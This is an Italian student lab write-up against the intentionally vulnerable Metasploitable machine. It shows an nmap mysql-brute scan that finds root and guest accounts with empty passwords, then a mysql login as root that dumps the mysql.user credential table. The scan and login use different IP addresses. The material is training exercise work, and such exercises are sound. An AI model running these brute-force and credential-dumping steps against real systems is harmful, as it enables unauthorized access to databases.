

ESERCIZIO W17D1 EXTRA

MySQL

Mungiovì Fabio

TASK

Ottenere la lista degli utenti mysql sul target Metasploitable.

Suggerimento:

- Utilizzare lo script `nmap mysql-brute`
- Utilizzare il tool `mysql`

ESECUZIONE

Effettuiamo una scansione nmap con lo script `mysql-brute`.

Questo comando ci restituisce gli utenti mysql sulla macchina target, con l'indicazione della password vuota come credenziale di accesso.

```
(kali@kali)-[~]
$ nmap --script=mysql-brute 192.168.50.200
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-08 05:35 EDT
Nmap scan report for 192.168.50.200
Host is up (0.0042s latency).
Not shown: 977 closed tcp ports (conn-refused)
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
23/tcp    open  telnet
25/tcp    open  smtp
53/tcp    open  domain
80/tcp    open  http
111/tcp   open  rpcbind
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
512/tcp   open  exec
513/tcp   open  login
514/tcp   open  shell
1099/tcp  open  rmiregistry
1524/tcp  open  ingreslock
2049/tcp  open  nfs
2121/tcp  open  ccproxy-ftp
3306/tcp  open  mysql
mysql-brute:
  Accounts:
    root:<empty> - Valid credentials
    guest:<empty> - Valid credentials
  Statistics: Performed 2 guesses in 2 seconds, average tps: 1.0
ERROR: The service seems to have failed or is heavily firewalled...
5432/tcp  open  postgresql
5900/tcp  open  vnc
6000/tcp  open  X11
6667/tcp  open  irc
8009/tcp  open  ajp13
8180/tcp  open  unknown

Nmap done: 1 IP address (1 host up) scanned in 13.66 seconds
```

Conoscendo ora le credenziali possiamo utilizzare il tool `mysql` per estrarre, anche da qui, gli utenti.

Accedendo come utente `root` e inserendo la password “vuota” accediamo al servizio.

```
(fabionun@kali)-[~]
$ mysql -u root -h 192.168.50.101 -p --skip-ssl
Enter password:
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MySQL connection id is 14
Server version: 5.0.51a-3ubuntu5 (Ubuntu)

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Support MariaDB developers by giving a star at https://github.com/MariaDB/server
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MySQL [(none)]> SELECT User, Host, Password FROM mysql.user;
+-----+-----+-----+
| User      | Host      | Password |
+-----+-----+-----+
| debian-sys-maint | %          |          |
| root      | %          |          |
| guest     | %          |          |
+-----+-----+-----+
3 rows in set (0.001 sec)
```

Una volta collegati utilizziamo il comando:

```
SELECT User, Host, Password FROM mysql.user;
```

In questo modo ci verrà restituita a schermo la lista degli utenti del servizio